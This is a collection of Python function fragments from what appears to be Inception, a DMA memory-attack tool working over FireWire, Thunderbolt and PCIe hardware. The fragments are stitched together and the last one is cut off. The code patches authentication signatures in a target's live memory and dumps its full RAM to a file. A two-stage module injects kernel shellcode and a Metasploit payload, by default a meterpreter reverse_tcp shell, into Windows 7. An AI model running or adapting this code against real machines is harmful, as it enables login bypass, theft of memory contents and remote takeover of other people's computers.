def initialize(opts, module): ''' Convenience function to initialize the interface. Mandatory arguments: - opts: the options that the program was initiated with ''' # Check if a file name has been set if not opts.filename: raise InceptionException('You must specify a file name to utilize ' 'this interface.') # Check if the file exists if not os.path.isfile(opts.filename): raise InceptionException('No such file: \'{0}\''.format(opts.filename)) # Warn user that using the interface may write to file try: # TODO: Fix this more elegantly? dry_run = opts.dry_run except AttributeError: dry_run = False if module.IS_INTRUSIVE and not dry_run: answer = term.poll('Will potentially write to file. OK? [y/N]', default='n') if answer in ['n']: dry_run = True # Lower DMA shield, and set memsize device = MemoryInterface(opts.filename, cfg.PAGESIZE, dry_run) memsize = os.path.getsize(opts.filename) return device, memsize
def calculate(address, size): '''Calculate the start and end memory addresses of the dump''' try: # Fix address if isinstance(address, int): pass elif address.startswith('0x'): address = int(address, 0) & 0xfffff000 # Address elif address.startswith('p'): address = int(address[1:]) * cfg.PAGESIZE # Page number else: address = int(address) # Integer # Fix size try: size = util.parse_unit(size) except ValueError as e: raise InceptionException('Could not parse "{0}" to a valid data ' 'size: {1}'.format(size, e)) if size < cfg.PAGESIZE: term.warn('Minimum dump size is a page, {0} KiB'.format( cfg.PAGESIZE // cfg.KiB)) end = address + size return address, end except Exception as e: raise InceptionException( 'Could not calculate start and end memory ' 'address', e)
def __init__(self, delay): ''' Constructor Initializes the bus and sets device, OUI variables ''' # Warn OS X users if cfg.os == cfg.OSX: term.warn('Attacking from OS X may cause host and/or target ' 'system crashes, and is not recommended') self.delay = delay self._bus = Bus() try: self._bus.enable_sbp2() except IOError as e: if os.geteuid() == 0: # Check if we are running as root answer = term.poll( 'FireWire modules are not loaded. Try ' 'loading them? [y/n]:', default='y') if answer in ['y', '']: status_modprobe = call('modprobe firewire-ohci', shell=True) status_rescan = call('echo 1 > /sys/bus/pci/rescan', shell=True) if status_modprobe == 0 and status_rescan == 0: try: self._bus.enable_sbp2() except IOError as e: time.sleep(2) # Give some more time try: self._bus.enable_sbp2() except IOError as e: raise InceptionException( 'Unable to detect any local FireWire ' 'ports.', e) term.info('FireWire modules loaded successfully') else: raise InceptionException( 'Could not load FireWire ' 'modules, try running ' 'inception as root', e) else: raise InceptionException('FireWire modules not loaded per ' 'user\'s request') else: raise InceptionException( 'FireWire modules are not loaded and ' 'we have insufficient privileges to ' 'load them. Try running inception as ' 'root', e) # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def initialize(opts, module): ''' Convenience function to initialize the interface. Mandatory arguments: - opts: the options that the program was initiated with ''' try: fw = FireWire(opts.delay) except IOError: raise InceptionException('Could not initialize FireWire. Are FW ' 'modules loaded into the kernel?') starttime = time.time() device_index = fw.select_device() elapsed = int(time.time() - starttime) try: # TODO: Fix this more elegantly dry_run = opts.dry_run except AttributeError: dry_run = False # Lower DMA shield, and set memsize device = FireWireDevice(fw.getdevice(device_index, elapsed), dry_run) memsize = cfg.memsize return device, memsize
def businfo(self): ''' Prints all available information of the devices connected to the FW bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: raise InceptionException('Could not detect any FireWire devices ' 'connected to this system') term.info('FireWire devices on the bus (names may appear blank):') term.separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id # In the current version of libforensic1394, the # device.vendor_name.decode() method cannot be trusted (it often # returns erroneous data. We'll rely on OUI lookups instead # vendorname = device.vendor_name.decode(cfg.encoding) vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(cfg.encoding) term.info('Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'. format(vendorname, vid, productname, pid), sign=n) term.separator()
def run(opts, memspace): ''' Main attack logic ''' if not opts.target_number: list_targets() # Select target, print selection target = select_target(targets, selected=opts.target_number) term.info('Selected target: ' + target.name) # Search for the target address, signature, offset = memspace.find(target, verbose=opts.verbose) # Signature found, let's patch page = memspace.page_no(address) term.info('Signature found at {0:#x} in page no. {1}'.format( address, page)) if not opts.dry_run: try: if opts.payload_filename: try: payload = open(opts.payload_filename, 'rb').read() except Exception as e: raise InceptionException(e) backup = memspace.write(address, payload) else: backup = memspace.patch(address, signature) term.info('Patch verified; successful') except InceptionException: raise if opts.revert: term.poll('Press [enter] to revert the patch:') memspace.write(address, backup) if backup == memspace.read(address, signature.length): term.info('Reverted patch verified; successful') else: raise InceptionException('Reverted patch could not be ' 'verified') return address, page
def initialize(opts, module): if not opts.filename: raise InceptionException('You must specify a network interface to use' 'this interface.') try: dry_run = opts.dry_run except AttributeError: dry_run = False device = ThunderGateInterface(opts.filename) memsize = 8 * 1024 * 1024 * 1024 return device, memsize
def unload_fw_ip(): ''' Unloads IP over FireWire modules if present on OS X ''' unload = term.poll('Unload the IOFireWireIP modules that may cause ' 'kernel panics? [y/n]:', default='y') if unload in ['y', '']: command = 'kextunload /System/Library/Extensions/IOFireWireIP.kext' status = call(command, shell=True) if status == 0: term.info('IOFireWireIP.kext unloaded') term.info('To reload: sudo kextload /System/Library/Extensions/' 'IOFireWireIP.kext') else: raise InceptionException('Could not unload IOFireWireIP.kext')
def __init__(self): # find our device try: dev = usb.core.find(idVendor=0x0525, idProduct=0x3380) except ValueError: raise InceptionException('SLOTSCREAMER device not found') dev.set_configuration() cfg = dev.get_active_configuration() intf = cfg[0, 0] self.pciin = usb.util.find_descriptor(intf, custom_match=lambda e: e.bEndpointAddress==0x8e) assert self.pciin is not None, 'SLOTSCREAMER pciin endpoint not found' term.info('SLOTSCREAMER PCIIN found: '+str(self.pciin)+'\n') self.pciout = usb.util.find_descriptor(intf, custom_match=lambda e: e.bEndpointAddress==0xe) assert self.pciout is not None, 'pciout endpoint not found' term.info('SLOTSCREAMER PCIOUT found: '+str(self.pciout)+'\n') self.cache=[]
def patch(self, address, signature): ''' Writes to the device at address, using the patches in the signature chunks ''' backup = self.interface.read(address, signature.length) chunks = signature.chunks for c in chunks: if not c.patch: # If no patch is set, skip this chunk continue patch = c.patch coffset = c.chunkoffset poffset = c.patchoffset if not poffset: poffset = 0 realaddress = address + coffset + poffset self.interface.write(realaddress, patch) read = self.interface.read(realaddress, len(patch)) if read != patch: raise InceptionException('Unable to verify patch') return backup
def run(opts, memspace): if not opts.msfpw: raise InceptionException('You must specify a password (--msfpw)') # Warning term.warn('This module currently only work as a proof-of-concept against ' 'Windows 7 SP1 x86. No other OSes, versions or architectures ' 'are supported, nor is there any guarantee that they will be ' 'supported in the future. If you want to change this, send me a ' 'wad of cash in unmarked dollar bills or a pull request on ' 'github.') if opts.payload_filename: try: payload = open(opts.payload_filename, 'rb').read() except Exception as e: raise InceptionException(e) else: # Connect to MSF RPD daemon and have it generate our shellcode try: client = MsfRpcClient(opts.msfpw) except MsfRpcError as e: raise InceptionException( 'Could not connect to Metasploit: {0}'.format(e)) except Exception as e: raise InceptionException( 'Could not connect to Metasploit, ' 'is the `msfrpcd` daemon running? ({0})'.format(e)) name = term.poll('What MSF payload do you want to use?', default='windows/meterpreter/reverse_tcp') try: module = PayloadModule(client, name) set_opts(module, ','.join(filter(None, (opts.msfopts, 'EXITFUNC=thread')))) payload = module.execute(Encoder='generic/none').get('payload') except (MsfRpcError, TypeError) as e: raise InceptionException('Could not generate Metasploit payload: ' '{0}'.format(e)) needed = [x for x in module.required if x not in module.advanced] term.info('Selected options:') for o in needed: term.info('{0}: {1}'.format(o, module[o])) # TODO: Allow users to set required options # --- STAGE 1 --- term.info('Stage 1: Searching for injection point') address, signature, offset = memspace.find(stage1, verbose=opts.verbose) # Signature found, let's patch term.found_at(address, memspace.page_no(address)) term.info('Patching at {0:#x}'.format(address)) backup = memspace.patch(address, signature.chunks) # TODO: Figure out what os & architecture we're attacking and select stage # For now, just select x86 # Wait to ensure initial stage execution term.wait('Waiting to ensure stage 1 execution', 5) if isinstance(memspace.interface, MemoryInterface): term.poll('Press [enter] to continue') # --- STAGE 2 --- # Concatenate shellcode and payload payload = shellcode['create_thread'] + shellcode['reg_add'] + payload # TODO: Modify payload exitfunk that is used if the payload fails - # this is needed for stable kernel exploitation # Replace EXITFUNC with THREAD (it's hardcoded as PROCESS) # This helps ensure that the process doesn't crash if the exploit fails # Write back original, backed up page term.info('Restoring memory at initial injection point') memspace.write(address, backup) # Search for the newly allocated page with our signature term.info('Stage 2: Searching for page allocated in stage 1') address, signature, offset = memspace.rawfind( 0, # Offset 0xffe0000000000000, # Sig verbose=opts.verbose) # Signature found, let's patch term.found_at(address, memspace.page_no(address)) term.info('Patching at {0:#x}'.format(address)) memspace.write(address, payload) term.info('Patch verified; successful')
def run(opts, memspace): # Ensure that the filename is accessible outside this module global filename # Set start and end parameters based on user input. If no input is given, # start at zero (i.e., the beginning of main memory) end = memspace.memsize if opts.address and opts.size: start, end = calculate(opts.address, opts.size) elif opts.address: raise InceptionException('Missing parameter "size"') elif opts.size: raise InceptionException('Missing parameter "address"') else: start = 0 # May be overridden later # Make sure that the right mode is set # cfg.memdump = True #TODO: do we really need this? # Ensure correct denomination size = end - start if size % cfg.GiB == 0: s = '{0} GiB'.format(size // cfg.GiB) elif size % cfg.MiB == 0: s = '{0} MiB'.format(size // cfg.MiB) else: s = '{0} KiB'.format(size // cfg.KiB) if opts.prefix: prefix = opts.prefix else: prefix = filename_prefix # Open file for writing timestr = time.strftime("%Y%m%d-%H%M%S") filename = '{0}_{1}-{2}_{3}.{4}'.format(prefix, hex(start), hex(end), timestr, filename_ext) term.info('Dumping from {0:#x} to {1:#x}, a total of {2}:'.format( start, end, s)) file = open(filename, 'wb') # Progress bar prog = term.ProgressBar(min_value=start, max_value=end, total_width=term.wrapper.width) if size < cfg.max_request_size: requestsize = size else: requestsize = cfg.max_request_size try: for i in range(start, end, requestsize): # Edge case, make sure that we don't read beyond the end if i + requestsize > end: requestsize = end - i data = memspace.read(i, requestsize) file.write(data) # Print status prog.update_amount(i + requestsize, data) prog.draw() file.close() print() # Filler term.info('Dumped memory to file {0}'.format(filename)) # device.close() except KeyboardInterrupt: file.close() print() # Filler # device.close() term.info('Partial memory dumped to file {0}'.format(filename)) raise KeyboardInterrupt
def find(self, target, findtag=False, findall=False, verbose=False): ''' Searches through memory and returns a list of matches at the point in memory where the signature was found. Mandatory arguments: - target: The Target object that we are searching for Optional arguments: - findtag: True if searching for a tagged (preferred) signature - findall: True if searching for all signatures Return: - A list of matches containting the address, signature, and offset ''' if findtag and findall: raise InceptionException('Cannot search for a tagged signature ' 'and all signatures at the same time') pageaddress = cfg.startaddress signatures = target.signatures # Progress bar prog = term.ProgressBar(max_value=self.memsize, total_width=term.wrapper.width, print_data=verbose) prog.draw() # print(signatures) try: # Build a batch of read requests of the form: [(addr1, len1), ...] # and a corresponding match vector: [signature1, ...] j = 0 count = 0 cand = b'\x00' r = [] # Read vector p = [] # Match vector z = [] # Vector to store matches (result vector) while pageaddress < self.memsize: # Iterate over signatures for s in signatures: # Iterate over offsets for o in s.offsets: address = pageaddress + o + cfg.PAGESIZE * j r.append((address, s.length)) p.append(s) count += 1 # If we have built a full vector, read from memory and # compare to the corresponding signatures if count == cfg.vectorsize: # Read data from device m = 0 for caddr, cand in self.interface.readv(r): if self.match(cand, p[m].chunks): result = (caddr, p[m], o) # TODO: Log this in verbose mode? z.append(result) # If we have found the tagged signature, # or if we're only searching for the first # hit, return the vector or tuple, # respectively if findtag and p[m].tag: print() # Filler return z elif not (findall or findtag): print() # Filler return result # Increment match vector counter m += 1 # Jump to next pages (we're finished with these) mask = ~(cfg.PAGESIZE - 0x01) pageaddress = address & mask # If we are at the last elements in the lists, # go to the next page if s == signatures[-1] and o == s.offsets[-1]: pageaddress = pageaddress + cfg.PAGESIZE # Zero out counters and vectors j = 0 count = 0 r = [] p = [] # Print status prog.update_amount(pageaddress, cand) prog.draw() j += 1 # Increase read request count # Catch eventual exceptions, print a newline and pass them on except: print() # Next line raise # If we end up here, return all found sigs, or raise an exception if # we're searching for just one (getting here means we didn't find it) print() # Next line if (findtag or findall) and z: return z else: raise InceptionException('Could not locate signature(s)')
def run(opts, memory): if cfg.os == cfg.OSX: firewire.unload_fw_ip() else: raise InceptionException('Host system is not OS X, aborting')
# Error handling for cases where libforensic1394 is not installed in /usr/lib try: from forensic1394.bus import Bus except OSError: host_os = util.detectos() try: path = os.environ['LD_LIBRARY_PATH'] except KeyError: path = '' # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make # python find the libs if host_os == cfg.LINUX and '/usr/local/lib' not in path: os.putenv('LD_LIBRARY_PATH', "/usr/local/lib") util.restart() else: raise InceptionException('Could not load libforensic1394, please make ' 'sure that libforensic1394 is in your PATH') # List of FireWire OUIs OUI = {} def initialize(opts, module): ''' Convenience function to initialize the interface. Mandatory arguments: - opts: the options that the program was initiated with ''' try: fw = FireWire(opts.delay) except IOError: